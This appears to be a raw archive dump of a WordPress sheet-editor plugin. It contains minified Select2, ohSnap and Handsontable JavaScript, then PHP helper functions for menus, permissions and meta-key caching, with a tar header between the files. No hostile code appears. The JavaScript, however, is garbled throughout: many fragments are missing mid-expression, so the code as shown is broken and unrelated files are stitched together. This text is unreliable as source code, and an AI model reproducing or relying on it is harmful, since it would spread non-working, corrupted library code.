              • '),i=this.options.get("translations").get(e.message);n.append(t(i(e.args))),n[0].className+=" select2-results__message",this.$results.append(n)},i.prototype.hideMessages=function(){this.$results.find(".select2-results__message").remove()},i.prototype.append=function(e){this.hideLoading();var t=[];if(null!=e.results&&0!==e.results.length){e.results=this.sort(e.results);for(var n=0;n",{class:"select2-results__options select2-results__options--nested"});d.append(a),s.append(o),s.append(d)}else this.template(e,t);return $.data(t,"data",e),t},i.prototype.bind=function(t,e){var l=this,n=t.id+"-results";this.$results.attr("id",n),t.on("results:all",function(e){l.clear(),l.append(e.data),t.isOpen()&&(l.setClasses(),l.highlightFirstItem())}),t.on("results:append",function(e){l.append(e.data),t.isOpen()&&l.setClasses()}),t.on("query",function(e){l.hideMessages(),l.showLoading(e)}),t.on("select",function(){t.isOpen()&&(l.setClasses(),l.highlightFirstItem())}),t.on("unselect",function(){t.isOpen()&&(l.setClasses(),l.highlightFirstItem())}),t.on("open",function(){l.$results.attr("aria-expanded","true"),l.$results.attr("aria-hidden","false"),l.setClasses(),l.ensureHighlightVisible()}),t.on("close",function(){l.$results.attr("aria-expanded","false"),l.$results.attr("aria-hidden","true"),l.$results.removeAttr("aria-activedescendant")}),t.on("results:toggle",function(){var e=l.getHighlightedResults();0!==e.length&&e.trigger("mouseup")}),t.on("results:select",function(){var e=l.getHighlightedResults();if(0!==e.length){var t=e.data("data");"true"==e.attr("aria-selected")?l.trigger("close",{}):l.trigger("select",{data:t})}}),t.on("results:previous",function(){var e=l.getHighlightedResults(),t=l.$results.find("[aria-selected]"),n=t.index(e);if(0!==n){var i=n-1;0===e.length&&(i=0);var r=t.eq(i);r.trigger("mouseenter");var s=l.$results.offset().top,o=r.offset().top,a=l.$results.scrollTop()+(o-s);0===i?l.$results.scrollTop(0):o-s<0&&l.$results.scrollTop(a)}}),t.on("results:next",function(){var e=l.getHighlightedResults(),t=l.$results.find("[aria-selected]"),n=t.index(e)+1;if(!(n>=t.length)){var i=t.eq(n);i.trigger("mouseenter");var r=l.$results.offset().top+l.$results.outerHeight(!1),s=i.offset().top+i.outerHeight(!1),o=l.$results.scrollTop()+s-r;0===n?l.$results.scrollTop(0):rthis.$results.outerHeight()||s<0)&&this.$results.scrollTop(r)}},i.prototype.template=function(e,t){var n=this.options.get("templateResult"),i=this.options.get("escapeMarkup"),r=n(e,t);null==r?t.style.display="none":"string"==typeof r?t.innerHTML=i(r):$(t).append(r)},i}),e.define("select2/keys",[],function(){return{BACKSPACE:8,TAB:9,ENTER:13,SHIFT:16,CTRL:17,ALT:18,ESC:27,SPACE:32,PAGE_UP:33,PAGE_DOWN:34,END:35,HOME:36,LEFT:37,UP:38,RIGHT:39,DOWN:40,DELETE:46}}),e.define("select2/selection/base",["jquery","../utils","../keys"],function($,e,r){function n(e,t){this.$element=e,this.options=t,n.__super__.constructor.call(this)}return e.Extend(n,e.Observable),n.prototype.render=function(){var e=$('');return this._tabindex=0,null!=this.$element.data("old-tabindex")?this._tabindex=this.$element.data("old-tabindex"):null!=this.$element.attr("tabindex")&&(this._tabindex=this.$element.attr("tabindex")),e.attr("title",this.$element.attr("title")),e.attr("tabindex",this._tabindex),this.$selection=e},n.prototype.bind=function(e,t){var n=this,i=(e.id,e.id+"-results");this.container=e,this.$selection.on("focus",function(e){n.trigger("focus",e)}),this.$selection.on("blur",function(e){n._handleBlur(e)}),this.$selection.on("keydown",function(e){n.trigger("keypress",e),e.which===r.SPACE&&e.preventDefault()}),e.on("results:focus",function(e){n.$selection.attr("aria-activedescendant",e.data._resultId)}),e.on("selection:update",function(e){n.update(e.data)}),e.on("open",function(){n.$selection.attr("aria-expanded","true"),n.$selection.attr("aria-owns",i),n._attachCloseHandler(e)}),e.on("close",function(){n.$selection.attr("aria-expanded","false"),n.$selection.removeAttr("aria-activedescendant"),n.$selection.removeAttr("aria-owns"),n.$selection.focus(),n._detachCloseHandler(e)}),e.on("enable",function(){n.$selection.attr("tabindex",n._tabindex)}),e.on("disable",function(){n.$selection.attr("tabindex","-1")})},n.prototype._handleBlur=function(e){var t=this;window.setTimeout(function(){document.activeElement==t.$selection[0]||$.contains(t.$selection[0],document.activeElement)||t.trigger("blur",e)},1)},n.prototype._attachCloseHandler=function(e){$(document.body).on("mousedown.select2."+e.id,function(e){var t=$(e.target).closest(".select2");$(".select2.select2-container--open").each(function(){var e=$(this);this!=t[0]&&e.data("element").select2("close")})})},n.prototype._detachCloseHandler=function(e){$(document.body).off("mousedown.select2."+e.id)},n.prototype.position=function(e,t){t.find(".selection").append(e)},n.prototype.destroy=function(){this._detachCloseHandler(this.container)},n.prototype.update=function(e){throw new Error("The `update` method must be defined in child classes.")},n}),e.define("select2/selection/single",["jquery","./base","../utils","../keys"],function($,e,t,n){function r(){r.__super__.constructor.apply(this,arguments)}return t.Extend(r,e),r.prototype.render=function(){var e=r.__super__.render.call(this);return e.addClass("select2-selection--single"),e.html(''),e},r.prototype.bind=function(t,e){var n=this;r.__super__.bind.apply(this,arguments);var i=t.id+"-container";this.$selection.find(".select2-selection__rendered").attr("id",i),this.$selection.attr("aria-labelledby",i),this.$selection.on("mousedown",function(e){1===e.which&&n.trigger("toggle",{originalEvent:e})}),this.$selection.on("focus",function(e){}),this.$selection.on("blur",function(e){}),t.on("focus",function(e){t.isOpen()||n.$selection.focus()}),t.on("selection:update",function(e){n.update(e.data)})},r.prototype.clear=function(){this.$selection.find(".select2-selection__rendered").empty()},r.prototype.display=function(e,t){var n=this.options.get("templateSelection");return this.options.get("escapeMarkup")(n(e,t))},r.prototype.selectionContainer=function(){return $("")},r.prototype.update=function(e){if(0!==e.length){var t=e[0],n=this.$selection.find(".select2-selection__rendered"),i=this.display(t,n);n.empty().append(i),n.prop("title",t.title||t.text)}else this.clear()},r}),e.define("select2/selection/multiple",["jquery","./base","../utils"],function($,e,a){function i(e,t){i.__super__.constructor.apply(this,arguments)}return a.Extend(i,e),i.prototype.render=function(){var e=i.__super__.render.call(this);return e.addClass("select2-selection--multiple"),e.html('
                  '),e},i.prototype.bind=function(e,t){var n=this;i.__super__.bind.apply(this,arguments),this.$selection.on("click",function(e){n.trigger("toggle",{originalEvent:e})}),this.$selection.on("click",".select2-selection__choice__remove",function(e){if(!n.options.get("disabled")){var t=$(this).parent().data("data");n.trigger("unselect",{originalEvent:e,data:t})}})},i.prototype.clear=function(){this.$selection.find(".select2-selection__rendered").empty()},i.prototype.display=function(e,t){var n=this.options.get("templateSelection");return this.options.get("escapeMarkup")(n(e,t))},i.prototype.selectionContainer=function(){return $('
                • ×
                • ')},i.prototype.update=function(e){if(this.clear(),0!==e.length){for(var t=[],n=0;n×');n.data("data",t),this.$selection.find(".select2-selection__rendered").prepend(n)}},e}),e.define("select2/selection/search",["jquery","../utils","../keys"],function($,e,o){function t(e,t,n){e.call(this,t,n)}return t.prototype.render=function(e){var t=$('');this.$searchContainer=t,this.$search=t.find("input");var n=e.call(this);return this._transferTabIndex(),n},t.prototype.bind=function(e,t,n){var i=this;e.call(this,t,n),t.on("open",function(){i.$search.trigger("focus")}),t.on("close",function(){i.$search.val(""),i.$search.removeAttr("aria-activedescendant"),i.$search.trigger("focus")}),t.on("enable",function(){i.$search.prop("disabled",!1),i._transferTabIndex()}),t.on("disable",function(){i.$search.prop("disabled",!0)}),t.on("focus",function(e){i.$search.trigger("focus")}),t.on("results:focus",function(e){i.$search.attr("aria-activedescendant",e.id)}),this.$selection.on("focusin",".select2-search--inline",function(e){i.trigger("focus",e)}),this.$selection.on("focusout",".select2-search--inline",function(e){i._handleBlur(e)}),this.$selection.on("keydown",".select2-search--inline",function(e){if(e.stopPropagation(),i.trigger("keypress",e),i._keyUpPrevented=e.isDefaultPrevented(),e.which===o.BACKSPACE&&""===i.$search.val()){var t=i.$searchContainer.prev(".select2-selection__choice");if(0this.maximumInputLength?this.trigger("results:message",{message:"inputTooLong",args:{maximum:this.maximumInputLength,input:t.term,params:t}}):e.call(this,t,n)},e}),e.define("select2/data/maximumSelectionLength",[],function(){function e(e,t,n){this.maximumSelectionLength=n.get("maximumSelectionLength"),e.call(this,t,n)}return e.prototype.query=function(n,i,r){var s=this;this.current(function(e){var t=null!=e?e.length:0;0=s.maximumSelectionLength?s.trigger("results:message",{message:"maximumSelected",args:{maximum:s.maximumSelectionLength}}):n.call(s,i,r)})},e}),e.define("select2/dropdown",["jquery","./utils"],function($,e){function n(e,t){this.$element=e,this.options=t,n.__super__.constructor.call(this)}return e.Extend(n,e.Observable),n.prototype.render=function(){var e=$('');return e.attr("dir",this.options.get("dir")),this.$dropdown=e},n.prototype.bind=function(){},n.prototype.position=function(e,t){},n.prototype.destroy=function(){this.$dropdown.remove()},n}),e.define("select2/dropdown/search",["jquery","../utils"],function($,e){function t(){}return t.prototype.render=function(e){var t=e.call(this),n=$('');return this.$searchContainer=n,this.$search=n.find("input"),t.prepend(n),t},t.prototype.bind=function(e,t,n){var i=this;e.call(this,t,n),this.$search.on("keydown",function(e){i.trigger("keypress",e),i._keyUpPrevented=e.isDefaultPrevented()}),this.$search.on("input",function(e){$(this).off("keyup")}),this.$search.on("keyup input",function(e){i.handleSearch(e)}),t.on("open",function(){i.$search.attr("tabindex",0),i.$search.focus(),window.setTimeout(function(){i.$search.focus()},0)}),t.on("close",function(){i.$search.attr("tabindex",-1),i.$search.val("")}),t.on("focus",function(){t.isOpen()||i.$search.focus()}),t.on("results:all",function(e){null!=e.query.term&&""!==e.query.term||(i.showSearch(e)?i.$searchContainer.removeClass("select2-search--hide"):i.$searchContainer.addClass("select2-search--hide"))})},t.prototype.handleSearch=function(e){if(!this._keyUpPrevented){var t=this.$search.val();this.trigger("query",{term:t})}this._keyUpPrevented=!1},t.prototype.showSearch=function(e,t){return!0},t}),e.define("select2/dropdown/hidePlaceholder",[],function(){function e(e,t,n,i){this.placeholder=this.normalizePlaceholder(n.get("placeholder")),e.call(this,t,n,i)}return e.prototype.append=function(e,t){t.results=this.removePlaceholder(t.results),e.call(this,t)},e.prototype.normalizePlaceholder=function(e,t){return"string"==typeof t&&(t={id:"",text:t}),t},e.prototype.removePlaceholder=function(e,t){for(var n=t.slice(0),i=t.length-1;0<=i;i--){var r=t[i];this.placeholder.id===r.id&&n.splice(i,1)}return n},e}),e.define("select2/dropdown/infiniteScroll",["jquery"],function($){function e(e,t,n,i){this.lastParams={},e.call(this,t,n,i),this.$loadingMore=this.createLoadingMore(),this.loading=!1}return e.prototype.append=function(e,t){this.$loadingMore.remove(),this.loading=!1,e.call(this,t),this.showLoadingMore(t)&&this.$results.append(this.$loadingMore)},e.prototype.bind=function(e,t,n){var i=this;e.call(this,t,n),t.on("query",function(e){i.lastParams=e,i.loading=!0}),t.on("query:append",function(e){i.lastParams=e,i.loading=!0}),this.$results.on("scroll",function(){var e=$.contains(document.documentElement,i.$loadingMore[0]);if(!i.loading&&e){var t=i.$results.offset().top+i.$results.outerHeight(!1);i.$loadingMore.offset().top+i.$loadingMore.outerHeight(!1)<=t+50&&i.loadMore()}})},e.prototype.loadMore=function(){this.loading=!0;var e=$.extend({},{page:1},this.lastParams);e.page++,this.trigger("query:append",e)},e.prototype.showLoadingMore=function(e,t){return t.pagination&&t.pagination.more},e.prototype.createLoadingMore=function(){var e=$('
                • '),t=this.options.get("translations").get("loadingMore");return e.html(t(this.lastParams)),e},e}),e.define("select2/dropdown/attachBody",["jquery","../utils"],function($,a){function e(e,t,n){this.$dropdownParent=n.get("dropdownParent")||$(document.body),e.call(this,t,n)}return e.prototype.bind=function(e,t,n){var i=this,r=!1;e.call(this,t,n),t.on("open",function(){i._showDropdown(),i._attachPositioningHandler(t),r||(r=!0,t.on("results:all",function(){i._positionDropdown(),i._resizeDropdown()}),t.on("results:append",function(){i._positionDropdown(),i._resizeDropdown()}))}),t.on("close",function(){i._hideDropdown(),i._detachPositioningHandler(t)}),this.$dropdownContainer.on("mousedown",function(e){e.stopPropagation()})},e.prototype.destroy=function(e){e.call(this),this.$dropdownContainer.remove()},e.prototype.position=function(e,t,n){t.attr("class",n.attr("class")),t.removeClass("select2"),t.addClass("select2-container--open"),t.css({position:"absolute",top:-999999}),this.$container=n},e.prototype.render=function(e){var t=$(""),n=e.call(this);return t.append(n),this.$dropdownContainer=t},e.prototype._hideDropdown=function(e){this.$dropdownContainer.detach()},e.prototype._attachPositioningHandler=function(e,t){var n=this,i="scroll.select2."+t.id,r="resize.select2."+t.id,s="orientationchange.select2."+t.id,o=this.$container.parents().filter(a.hasScroll);o.each(function(){$(this).data("select2-scroll-position",{x:$(this).scrollLeft(),y:$(this).scrollTop()})}),o.on(i,function(e){var t=$(this).data("select2-scroll-position");$(this).scrollTop(t.y)}),$(window).on(i+" "+r+" "+s,function(e){n._positionDropdown(),n._resizeDropdown()})},e.prototype._detachPositioningHandler=function(e,t){var n="scroll.select2."+t.id,i="resize.select2."+t.id,r="orientationchange.select2."+t.id;this.$container.parents().filter(a.hasScroll).off(n),$(window).off(n+" "+i+" "+r)},e.prototype._positionDropdown=function(){var e=$(window),t=this.$dropdown.hasClass("select2-dropdown--above"),n=this.$dropdown.hasClass("select2-dropdown--below"),i=null,r=this.$container.offset();r.bottom=r.top+this.$container.outerHeight(!1);var s={height:this.$container.outerHeight(!1)};s.top=r.top,s.bottom=r.top+s.height;var o=this.$dropdown.outerHeight(!1),a=e.scrollTop(),l=e.scrollTop()+e.height(),c=ar.bottom+o,d={left:r.left,top:s.bottom},p=this.$dropdownParent;"static"===p.css("position")&&(p=p.offsetParent());var h=p.offset();d.top-=h.top,d.left-=h.left,t||n||(i="below"),u||!c||t?!c&&u&&t&&(i="below"):i="above",("above"==i||t&&"below"!==i)&&(d.top=s.top-h.top-o),null!=i&&(this.$dropdown.removeClass("select2-dropdown--below select2-dropdown--above").addClass("select2-dropdown--"+i),this.$container.removeClass("select2-container--below select2-container--above").addClass("select2-container--"+i)),this.$dropdownContainer.css(d)},e.prototype._resizeDropdown=function(){var e={width:this.$container.outerWidth(!1)+"px"};this.options.get("dropdownAutoWidth")&&(e.minWidth=e.width,e.position="relative",e.width="auto"),this.$dropdown.css(e)},e.prototype._showDropdown=function(e){this.$dropdownContainer.appendTo(this.$dropdownParent),this._positionDropdown(),this._resizeDropdown()},e}),e.define("select2/dropdown/minimumResultsForSearch",[],function(){function e(e,t,n,i){this.minimumResultsForSearch=n.get("minimumResultsForSearch"),this.minimumResultsForSearch<0&&(this.minimumResultsForSearch=1/0),e.call(this,t,n,i)}return e.prototype.showSearch=function(e,t){return!(function e(t){for(var n=0,i=0;i');return e.attr("dir",this.options.get("dir")),this.$container=e,this.$container.addClass("select2-container--"+this.options.get("theme")),e.data("element",this.$element),e},u}),e.define("jquery-mousewheel",["jquery"],function($){return $}),e.define("jquery.select2",["jquery","jquery-mousewheel","./select2/core","./select2/defaults"],function($,e,r,t){if(null==$.fn.select2){var s=["open","close","destroy"];$.fn.select2=function(t){if("object"==typeof(t=t||{}))return this.each(function(){var e=$.extend(!0,{},t);new r($(this),e)}),this;if("string"!=typeof t)throw new Error("Invalid arguments for Select2: "+t);var n,i=Array.prototype.slice.call(arguments,1);return this.each(function(){var e=$(this).data("select2");null==e&&window.console&&console.error,n=e[t].apply(e,i)}),-1<$.inArray(t,s)?this:n}}return null==$.fn.select2.defaults&&($.fn.select2.defaults=t),r}),{define:e.define,require:e.require}}(),t=e.require("jquery.select2");return jQuery.fn.select2.amd=e,t}); function ohSnap(n,o){var t={color:null,icon:null,duration:"5000","container-id":"ohsnap","fade-duration":"fast"};o="object"==typeof o?jQuery.extend(t,o):t;var e=jQuery("#"+o["container-id"]),a="",i="";o.icon&&(a=" "),o.color&&(i="alert-"+o.color);var u=jQuery('
                  '+a+n+"
                  ").fadeIn(o["fade-duration"]);e.append(u),u.on("click",function(){ohSnapX(jQuery(this))}),setTimeout(function(){ohSnapX(u)},o.duration)}function ohSnapX(n,o){defaultOptions={duration:"fast"},o="object"==typeof o?jQuery.extend(defaultOptions,o):defaultOptions,void 0!==n?n.fadeOut(o.duration,function(){jQuery(this).remove()}):jQuery(".alert").fadeOut(o.duration,function(){jQuery(this).remove()})} !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("Handsontable",[],t):"object"==typeof exports?exports.Handsontable=t():e.Handsontable=t()}("undefined"!=typeof self?self:this,function(){return(o={},r.m=n=[function(e,t,n){var g=n(6),v=n(21),y=n(28),m=n(23),w=n(37),b="prototype",C=function(e,t,n){var r,o,i,a,s=e&C.F,l=e&C.G,u=e&C.S,c=e&C.P,h=e&C.B,f=l?g:u?g[t]||(g[t]={}):(g[t]||{})[b],d=l?v:v[t]||(v[t]={}),p=d[b]||(d[b]={});for(r in l&&(n=t),n)i=((o=!s&&f&&void 0!==f[r])?f:n)[r],a=h&&o?w(i,g):c&&"function"==typeof i?w(Function.call,i):i,f&&m(f,r,i,e&C.U),d[r]!=i&&y(d,r,a),c&&p[r]!=i&&(p[r]=i)};g.core=v,C.F=1,C.G=2,C.S=4,C.P=8,C.B=16,C.W=32,C.U=64,C.R=128,e.exports=C},function(e,t,n){"use strict";t.__esModule=!0,t.getParent=function(e){var t=1|&(.*);)/;t.HTML_CHARACTERS=y;var m,w=!!document.createTextNode("test").textContent;function b(e,t){var n=e.firstChild;n&&3===n.nodeType&&null===n.nextSibling?w?n.textContent=t:n.data=t:(v(e),e.appendChild(document.createTextNode(t)))}function C(){var e=window.scrollY;return void 0===e&&(e=document.documentElement.scrollTop),e}function S(){var e=window.scrollX;return void 0===e&&(e=document.documentElement.scrollLeft),e}function _(e){return e.currentStyle||document.defaultView.getComputedStyle(e)}function E(e){return e&&(-1<["INPUT","SELECT","TEXTAREA"].indexOf(e.nodeName)||"true"===e.contentEditable)}},function(e,t,n){"use strict";t.__esModule=!0,t.duckSchema=function n(e){var r;Array.isArray(e)?r=[]:(r={},u(e,function(e,t){"__children"!==t&&(e&&"object"===a(e)&&!Array.isArray(e)?r[t]=n(e):Array.isArray(e)?e.length&&"object"===a(e[0])&&!Array.isArray(e[0])?r[t]=[n(e[0])]:r[t]=[]:r[t]=null)}));return r},t.inherit=function(e,t){return t.prototype.constructor=t,e.prototype=new t,e.prototype.constructor=e},t.extend=function(n,e){return u(e,function(e,t){n[t]=e}),n},t.deepExtend=function n(r,o){u(o,function(e,t){o[t]&&"object"===a(o[t])?(r[t]||(Array.isArray(o[t])?r[t]=[]:"[object Date]"===Object.prototype.toString.call(o[t])?r[t]=o[t]:r[t]={}),n(r[t],o[t])):r[t]=o[t]})},t.deepClone=s,t.clone=function(e){var n={};return u(e,function(e,t){n[t]=e}),n},t.mixin=function(i){i.MIXINS||(i.MIXINS=[]);for(var e=arguments.length,t=new Array(1=t&&!1!==n(r););},t.valueAccordingPercent=function(e,t){return t=parseInt(t.toString().replace("%",""),10),t=parseInt(e*t/100,10)}},function(e,t,n){"use strict";t.__esModule=!0,t.getListenersCounter=function(){return a},t.default=void 0;var u=n(1),c=n(2),h=n(47),f=n(18);function o(e,t){for(var n=0;n>1:r=y(e,i,i?1===o[p]?9:8:6);return n===t}(e),i=C(),a=d(e)||"trial"===e;if(a||o)if(o){var s=Math.floor((0,c.default)("19/12/2018","DD/MM/YYYY").toDate().getTime()/864e5),l=b(e);(45e3"+o+""}var o=n(0),i=n(4),a=n(40),s=/"/g;e.exports=function(t,e){var n={};n[t]=e(r),o(o.P+o.F*i(function(){var e=""[t]('"');return e!==e.toLowerCase()||3'.concat(String.fromCharCode(10003),"").concat(e)},t.isItemHidden=function(e,t){return!e.hidden||!("function"==typeof e.hidden&&e.hidden.call(t))},t.filterSeparators=function(e){var t=1t
                  t";var n=document.createElement("CAPTION");n.innerHTML="c
                  c
                  c
                  c",n.style.padding="0",n.style.margin="0",e.insertBefore(n,t),document.body.appendChild(e),o=e.offsetHeight<2*e.lastChild.offsetHeight,document.body.removeChild(e)}();return o},t.getComparisonFunction=function(e){var t=1|<\w+[\s|/][^>]*>/gi},function(e,t,n){"use strict";t.__esModule=!0,t.getValidator=function(e){if("function"==typeof e)return e;if(f(e))return h(e);throw Error('No registered validator found under "'.concat(e,'" name'))},t.getRegisteredValidators=t.getRegisteredValidatorNames=t.hasValidator=t.registerValidator=void 0;var r=l(n(46)),o=l(n(631)),i=l(n(632)),a=l(n(633)),s=l(n(634));function l(e){return e&&e.__esModule?e:{default:e}}var u=(0,r.default)("validators"),c=u.register,h=u.getItem,f=u.hasItem,d=u.getNames,p=u.getValues;t.getRegisteredValidators=p,t.getRegisteredValidatorNames=d,t.hasValidator=f,(t.registerValidator=c)("autocomplete",o.default),c("date",i.default),c("numeric",a.default),c("time",s.default)},function(e,t){e.exports=function(e,t){return{enumerable:!(1&e),configurable:!(2&e),writable:!(4&e),value:t}}},function(e,t){var n=0,r=Math.random();e.exports=function(e){return"Symbol(".concat(void 0===e?"":e,")_",(++n+r).toString(36))}},function(e,t){e.exports=!1},function(e,t,n){var r=n(132),o=n(96);e.exports=Object.keys||function(e){return r(e,o)}},function(e,t,n){var r=n(33),o=Math.max,i=Math.min;e.exports=function(e,t){return(e=r(e))<0?o(e+t,0):i(e,t)}},function(e,t,r){function o(){}var i=r(5),a=r(133),s=r(96),l=r(95)("IE_PROTO"),u="prototype",c=function(){var e,t=r(92)("iframe"),n=s.length;for(t.style.display="none",r(98).appendChild(t),t.src="javascript:",(e=t.contentWindow.document).open(),e.write(" args['admin_menu'] ) ) { return; } foreach ( $this->args['admin_menu'] as $admin_menu ) { if ( ! empty( $admin_menu['treat_as_url'] ) ) { $render_callback = null; } else { $render_callback = array( $this, 'render_editor_page' ); } $capability = ( ! empty( $admin_menu['capability'] ) ) ? $admin_menu['capability'] : 'edit_posts'; if ( $admin_menu['type'] === 'submenu' ) { if ( empty( $admin_menu['parent'] ) ) { $admin_menu['parent'] = 'vg_sheet_editor_setup'; } add_submenu_page( $admin_menu['parent'], $admin_menu['name'], $admin_menu['name'], $capability, $admin_menu['slug'], $render_callback ); } else { if ( empty( $admin_menu['icon'] ) ) { $admin_menu['icon'] = null; } add_menu_page( $admin_menu['name'], $admin_menu['name'], $capability, $admin_menu['slug'], $render_callback, $admin_menu['icon'] ); } } } } } modules/wp-sheet-editor/inc/api/helpers.php000064400000313045147600365160014747 0ustar00 1 ) { $key = array_shift( $keys ); if ( ! isset( $array[ $key ] ) || ! is_array( $array[ $key ] ) ) { $array[ $key ] = array(); } $array = & $array[ $key ]; } $array[ array_shift( $keys ) ] = $value; return $array; } public function array_to_dot( $myArray ) { $ritit = new RecursiveIteratorIterator( new RecursiveArrayIterator( $myArray ) ); $result = array(); foreach ( $ritit as $leafValue ) { $keys = array(); foreach ( range( 0, $ritit->getDepth() ) as $depth ) { $keys[] = $ritit->getSubIterator( $depth )->key(); } $result[ join( '.', $keys ) ] = $leafValue; } return $result; } public function get_with_dot_notation( $array, $key, $default = null ) { if ( is_null( $key ) ) { return $array; } if ( isset( $array[ $key ] ) ) { return $array[ $key ]; } foreach ( explode( '.', $key ) as $segment ) { if ( ! is_array( $array ) || ! array_key_exists( $segment, $array ) ) { return $default; } $array = $array[ $segment ]; } return $array; } /** * Notation to numbers. * * This function transforms the php.ini notation for numbers (like '2M') to an integer. * * @param string $size Size value. * @return int */ public function let_to_num( $size ) { $l = substr( $size, -1 ); $ret = (int) substr( $size, 0, -1 ); switch ( strtoupper( $l ) ) { case 'P': $ret *= 1024; // No break. case 'T': $ret *= 1024; // No break. case 'G': $ret *= 1024; // No break. case 'M': $ret *= 1024; // No break. case 'K': $ret *= 1024; // No break. } return $ret; } /** * Remove all empty elements from an array recursively * @param array $haystack * @return array */ public function array_remove_empty( $haystack ) { foreach ( $haystack as $key => $value ) { if ( is_array( $value ) ) { $haystack[ $key ] = $this->array_remove_empty( $haystack[ $key ] ); } if ( empty( $haystack[ $key ] ) ) { unset( $haystack[ $key ] ); } } return $haystack; } public function get_random_date_in_range( $start, $end ) { $int = mt_rand( $start, $end ); return date( 'Y-m-d H:i:s', $int ); } public function columns_cache_expiration( $total_rows = 0 ) { $cache_expiration = DAY_IN_SECONDS * 7; if ( $total_rows < 200 ) { $cache_expiration = MINUTE_IN_SECONDS * 30; } return $cache_expiration; } public function get_current_query_session_id() { global $wp_query; $out = false; if ( ! is_object( $wp_query ) || empty( $wp_query->query_vars ) || ! array_diff( array_keys( $_GET ), array( 'post_type' ) ) ) { return $out; } $wp_query_vars = json_encode( array_filter( $wp_query->query_vars ) ); $transient_key = 'wpse_catalog_session' . is_user_logged_in() . '_' . crc32( $wp_query_vars ); if ( ! get_transient( $transient_key ) ) { set_transient( $transient_key, $wp_query_vars, WEEK_IN_SECONDS ); } return $transient_key; } public function _get_post_id_from_search( $search_value ) { $product_parts = explode( '--', $search_value ); return (int) end( $product_parts ); } public function get_columns_limit() { $columns_limit = ( ! empty( VGSE()->options['be_columns_limit'] ) ) ? (int) VGSE()->options['be_columns_limit'] : 410; return apply_filters( 'vg_sheet_editor/columns_limit', $columns_limit ); } /** * Get the enabled sheets from the settings and hardcoded through the enabled_post_types property of every editor object * * @return string[] Array of sheet keys */ public function get_enabled_post_types() { $post_types = VGSE()->post_type; if ( empty( $post_types ) ) { $post_types = array(); } if ( ! is_array( $post_types ) ) { $post_types = array( $post_types ); } // Every editor has its own settings regarding post types // because plugins can have custom spreadsheet bootstrap processes // so we merge all the enabled_post_types from the core settings and each // editor settings foreach ( VGSE()->editors as $editor ) { $post_types = array_merge( $post_types, $editor->args['enabled_post_types'] ); } $enabled_post_types = array_unique( apply_filters( 'vg_sheet_editor/get_enabled_post_types', $this->remove_disallowed_post_types( array_unique( $post_types ) ) ) ); return $enabled_post_types; } public function get_view_spreadsheet_capability( $post_type_key ) { $out = false; if ( empty( $post_type_key ) ) { return $out; } $provider = VGSE()->helpers->get_data_provider( $post_type_key ); $capability = $provider->get_provider_read_capability( $post_type_key ); return $capability; } public function user_can_view_post_type( $post_type_key ) { $out = false; $capability = $this->get_view_spreadsheet_capability( $post_type_key ); if ( $capability && self::current_user_can( $capability ) ) { $out = true; } return apply_filters( 'vg_sheet_editor/user_can_view_post_type/' . $post_type_key, $out, $post_type_key ); } public function get_edit_spreadsheet_capability( $post_type_key ) { $out = false; if ( empty( $post_type_key ) ) { return $out; } $provider = VGSE()->helpers->get_data_provider( $post_type_key ); $out = $provider->get_provider_edit_capability( $post_type_key ); return $out; } public function user_can_edit_post_type( $post_type_key ) { $out = false; $capability = $this->get_edit_spreadsheet_capability( $post_type_key ); if ( $capability && self::current_user_can( $capability ) ) { $out = true; } return apply_filters( 'vg_sheet_editor/user_can_edit_post_type/' . $post_type_key, $out, $post_type_key ); } public function user_can_delete_post_type( $post_type_key ) { $out = false; if ( empty( $post_type_key ) ) { return $out; } $provider = VGSE()->helpers->get_data_provider( $post_type_key ); if ( method_exists( $provider, 'get_provider_delete_capability' ) ) { $capability = $provider->get_provider_delete_capability( $post_type_key ); if ( $capability ) { $out = self::current_user_can( $capability ); } } return $out; } /** * Get all files in the folder * @return array */ public function get_files_list( $directory_path, $file_format = '.php' ) { $files = glob( trailingslashit( $directory_path ) . '*' . $file_format ); return $files; } public function get_settings_page_url() { return esc_url( add_query_arg( array( 'page' => VGSE()->options_key ), admin_url( 'admin.php' ) ) ); } public function can_rescan_db_fields( $post_type ) { $post_type_to_check = $post_type === 'product_variation' ? 'product' : $post_type; $allowed = false; if ( ! empty( $_GET['wpse_rescan_db_fields'] ) && $_GET['wpse_rescan_db_fields'] === $post_type_to_check ) { $allowed = true; } return $allowed; } public function get_all_meta_keys( $post_type = '', $limit = null ) { $transient_key = 'vgse_all_meta_keys_' . $post_type; // Only clear the cache once per page execution // We call this function many times, if we don't use meta_keys_refreshed // it will make the heavy query to the DB many times and sometimes overloading the server if ( $this->can_rescan_db_fields( $post_type ) && ! in_array( $post_type, $this->meta_keys_refreshed, true ) ) { $this->meta_keys_refreshed[] = $post_type; delete_transient( $transient_key ); } $meta_keys = get_transient( $transient_key ); if ( ! $meta_keys ) { $meta_keys = VGSE()->helpers->get_current_provider()->get_all_meta_fields( $post_type ); set_transient( $transient_key, $meta_keys, DAY_IN_SECONDS ); } if ( ! $meta_keys ) { $meta_keys = array(); } if ( is_int( $limit ) && count( $meta_keys ) > $limit ) { $meta_keys = array_slice( $meta_keys, 0, $limit ); } return $meta_keys; } public function is_settings_page() { return isset( $_GET['page'] ) && $_GET['page'] === VGSE()->options_key; } public function get_data_provider_class_key( $provider ) { $class_name = 'VGSE_Provider_' . ucwords( $provider ); if ( ! class_exists( $class_name ) ) { $provider = apply_filters( 'vg_sheet_editor/provider/default_provider_key', 'post', $provider ); } return apply_filters( 'vg_sheet_editor/provider/class_key', $provider ); } /** * Get current provider instance * * @return VGSE_Provider_Abstract */ public function get_current_provider() { if ( empty( VGSE()->current_provider ) ) { VGSE()->current_provider = VGSE()->helpers->get_data_provider( $this->get_provider_from_query_string() ); } return VGSE()->current_provider; } public function get_prepared_post_types() { $allowed_post_types = VGSE()->helpers->get_allowed_post_types(); $post_types = VGSE()->helpers->get_all_post_types( array( 'show_in_menu' => true, ) ); $free = array( 'post', 'page', 'product' ); $free_install_url = VGSE()->get_plugin_install_url( 'bulk edit posts wp sheet editor' ); $sheets = array(); if ( ! empty( $post_types ) ) { foreach ( $post_types as $post_type ) { $key = $post_type->name; $post_type_name = $post_type->label; $disabled = ! isset( $allowed_post_types[ $key ] ) ? ' disabled ' : ''; if ( $key === 'users' ) { $buy_link = VGSE()->bundles['users']['inactive_action_url']; } else { $extension = VGSE()->helpers->get_extension_by_post_type( $key ); $buy_link = ( $extension && ! empty( $extension['inactive_action_url'] ) ) ? $extension['inactive_action_url'] : ''; } $maybe_go_premium = ! empty( $disabled ) ? '' . __( '(Pro extension)', 'vg_sheet_editor' ) . 